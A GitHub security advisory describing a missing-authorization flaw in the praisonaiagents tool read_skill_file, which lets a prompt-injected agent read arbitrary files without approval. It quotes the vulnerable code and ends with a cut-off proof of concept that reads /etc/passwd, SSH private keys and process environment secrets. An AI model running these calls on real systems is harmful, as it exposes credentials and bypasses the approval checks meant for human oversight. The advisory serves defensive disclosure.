GitHub Security Advisory: GHSA-grrg-5cg9-58pf
Package: praisonaiagents (PIP)
Severity: MODERATE (CVSS 6.2)
CWE: CWE-862: Missing Authorization
Vulnerable versions: < 1.5.128
Patched in: 1.5.128

Summary: PraisonAIAgents: Arbitrary File Read via read_skill_file Missing Workspace Boundary and Approval Gate

Details:
## Summary

`read_skill_file()` in `skill_tools.py` allows reading arbitrary files from the filesystem by accepting an unrestricted `skill_path` parameter. Unlike `file_tools.read_file` which enforces workspace boundary confinement, and unlike `run_skill_script` which requires critical-level approval, `read_skill_file` has neither protection. An agent influenced by prompt injection can exfiltrate sensitive files without triggering any approval prompt.

## Details

The vulnerability is a missing authorization check in `read_skill_file()` at `src/praisonai-agents/praisonaiagents/tools/skill_tools.py:128`.

The function's path validation on line 163 only ensures `file_path` doesn't escape `skill_path` via directory traversal:

```python
# skill_tools.py:128-170
def read_skill_file(self, skill_path: str, file_path: str, encoding: str = 'utf-8') -> str:
    # ...
    skill_path = os.path.expanduser(skill_path)      # line 147
    if not os.path.isabs(skill_path):
        skill_path = os.path.join(self._working_directory, skill_path)
    skill_path = os.path.abspath(skill_path)          # line 150

    # ... existence checks ...

    full_path = os.path.join(skill_path, file_path)   # line 159
    full_path = os.path.abspath(full_path)             # line 160

    # Security check: ensure file is within skill directory
    if not full_path.startswith(skill_path):           # line 163
        return f"Error: Path traversal detected..."

    with open(full_path, 'r', encoding=encoding) as f:
        return f.read()                                # line 169-170
```

The check on line 163 prevents `file_path` from containing `../` to escape `skill_path`, but `skill_path` itself is completely unrestricted — it can be any absolute directory on the filesystem.

Compare with the protected equivalent in `file_tools.py:25-56`:

```python
# file_tools.py:48-54 — _validate_path enforces workspace confinement
normalized = os.path.normpath(filepath)
absolute = os.path.realpath(normalized)
cwd = os.path.abspath(os.getcwd())
if os.path.commonpath([absolute, cwd]) != cwd:
    raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")
```

And compare with `run_skill_script` (line 40) which requires `@require_approval(risk_level="critical")`.

`read_skill_file` has neither workspace confinement nor an approval gate. It is also not listed in `DEFAULT_DANGEROUS_TOOLS` (registry.py:31-46), so no approval is ever requested.

## PoC

```python
from praisonaiagents.tools.skill_tools import read_skill_file

# Read /etc/passwd — skill_path="/etc", file_path="passwd"
# Line 163 check: "/etc/passwd".startswith("/etc") → True → passes
print(read_skill_file(skill_path="/etc", file_path="passwd"))

# Read SSH private keys
print(read_skill_file(skill_path="/root/.ssh", file_path="id_rsa"))

# Read process environment variables (API keys, secrets)
print(read_skill_file(skill_path="/proc/self", file_path="environ"))

# Read any file by setting skill_path to root
pr